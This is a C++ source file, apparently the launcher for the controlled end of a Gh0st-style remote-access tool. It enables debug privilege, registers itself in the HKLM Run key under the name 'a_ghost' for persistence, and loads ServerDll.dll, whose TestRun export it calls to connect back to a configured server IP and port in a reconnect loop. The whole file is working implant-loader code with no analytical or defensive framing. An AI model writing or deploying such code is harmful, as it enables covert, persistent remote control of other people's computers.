148 lines
3.6 KiB
C++
148 lines
3.6 KiB
C++
#include <windows.h>
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#include <stdio.h>
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#include <iostream>
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#include <corecrt_io.h>
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typedef void (*StopRun)();
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typedef bool (*IsStoped)();
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// 停止程序运行
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StopRun stop = NULL;
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// 是否成功停止
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IsStoped bStop = NULL;
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// 是否退出被控端
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IsStoped bExit = NULL;
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BOOL status = 0;
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struct CONNECT_ADDRESS
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{
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DWORD dwFlag;
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char szServerIP[MAX_PATH];
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int iPort;
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}g_ConnectAddress={0x1234567,"",0};
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//提升权限
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void DebugPrivilege()
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{
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HANDLE hToken = NULL;
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//打开当前进程的访问令牌
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int hRet = OpenProcessToken(GetCurrentProcess(),TOKEN_ALL_ACCESS,&hToken);
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if( hRet)
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{
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TOKEN_PRIVILEGES tp;
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tp.PrivilegeCount = 1;
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//取得描述权限的LUID
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LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&tp.Privileges[0].Luid);
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tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
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//调整访问令牌的权限
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AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(tp),NULL,NULL);
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CloseHandle(hToken);
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}
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}
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/**
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* @brief 设置本身开机自启动
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* @param[in] *sPath 注册表的路径
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* @param[in] *sNmae 注册表项名称
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* @return 返回注册结果
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* @details Win7 64位机器上测试结果表明，注册项在：\n
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* HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
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* @note 首次运行需要以管理员权限运行，才能向注册表写入开机启动项
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*/
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BOOL SetSelfStart(const char *sPath, const char *sNmae)
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{
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DebugPrivilege();
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// 写入的注册表路径
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#define REGEDIT_PATH "Software\\Microsoft\\Windows\\CurrentVersion\\Run\\"
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// 在注册表中写入启动信息
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HKEY hKey = NULL;
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LONG lRet = RegOpenKeyExA(HKEY_LOCAL_MACHINE, REGEDIT_PATH, 0, KEY_ALL_ACCESS, &hKey);
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// 判断是否成功
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if(lRet != ERROR_SUCCESS)
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return FALSE;
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lRet = RegSetValueExA(hKey, sNmae, 0, REG_SZ, (const BYTE*)sPath, strlen(sPath) + 1);
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// 关闭注册表
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RegCloseKey(hKey);
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// 判断是否成功
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return lRet == ERROR_SUCCESS;
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}
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BOOL CALLBACK callback(DWORD CtrlType)
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{
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if (CtrlType == CTRL_CLOSE_EVENT)
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{
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status = 1;
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if(stop) stop();
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while(1==status)
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Sleep(20);
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}
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return TRUE;
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}
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// @brief 首先读取settings.ini配置文件，获取IP和端口.
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// [settings]
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// localIp=XXX
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// ghost=6688
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// 如果配置文件不存在就从命令行中获取IP和端口.
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int main(int argc, const char *argv[])
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{
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if(!SetSelfStart(argv[0], "a_ghost"))
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{
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std::cout<<"设置开机自启动失败，请用管理员权限运行.\n";
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}
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status = 0;
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SetConsoleCtrlHandler(&callback, TRUE);
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char path[_MAX_PATH], *p = path;
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GetModuleFileNameA(NULL, path, sizeof(path));
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while (*p) ++p;
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while ('\\' != *p) --p;
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strcpy(p+1, "ServerDll.dll");
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HMODULE hDll = LoadLibraryA(path);
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typedef void (*TestRun)(char* strHost,int nPort);
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TestRun run = hDll ? TestRun(GetProcAddress(hDll, "TestRun")) : NULL;
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stop = hDll ? StopRun(GetProcAddress(hDll, "StopRun")) : NULL;
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bStop = hDll ? IsStoped(GetProcAddress(hDll, "IsStoped")) : NULL;
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bExit = hDll ? IsStoped(GetProcAddress(hDll, "IsExit")) : NULL;
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if (run)
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{
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char *ip = g_ConnectAddress.szServerIP;
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int &port = g_ConnectAddress.iPort;
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strcpy(p + 1, "settings.ini");
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if (_access(path, 0) == -1) { // 文件不存在: 优先从参数中取值，其次是从g_ConnectAddress取值.
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ip = argc > 1 ? argv[1] :(strlen(ip)==0 ? "127.0.0.1" : ip);
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port = argc > 2 ? atoi(argv[2]) : (port==0 ? 6543: port);
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} else {
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GetPrivateProfileStringA("settings", "localIp", g_ConnectAddress.szServerIP, ip, _MAX_PATH, path);
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port = GetPrivateProfileIntA("settings", "ghost", g_ConnectAddress.iPort, path);
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}
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printf("[server] %s:%d\n", ip, port);
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do
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{
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run(ip, port);
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while(bStop && !bStop() && 0 == status)
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Sleep(20);
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} while (bExit && !bExit() && 0 == status);
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while(bStop && !bStop() && 1 == status)
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Sleep(20);
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}
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else {
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printf("加载动态链接库\"ServerDll.dll\"失败.\n");
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Sleep(3000);
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}
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status = 0;
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return -1;
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}
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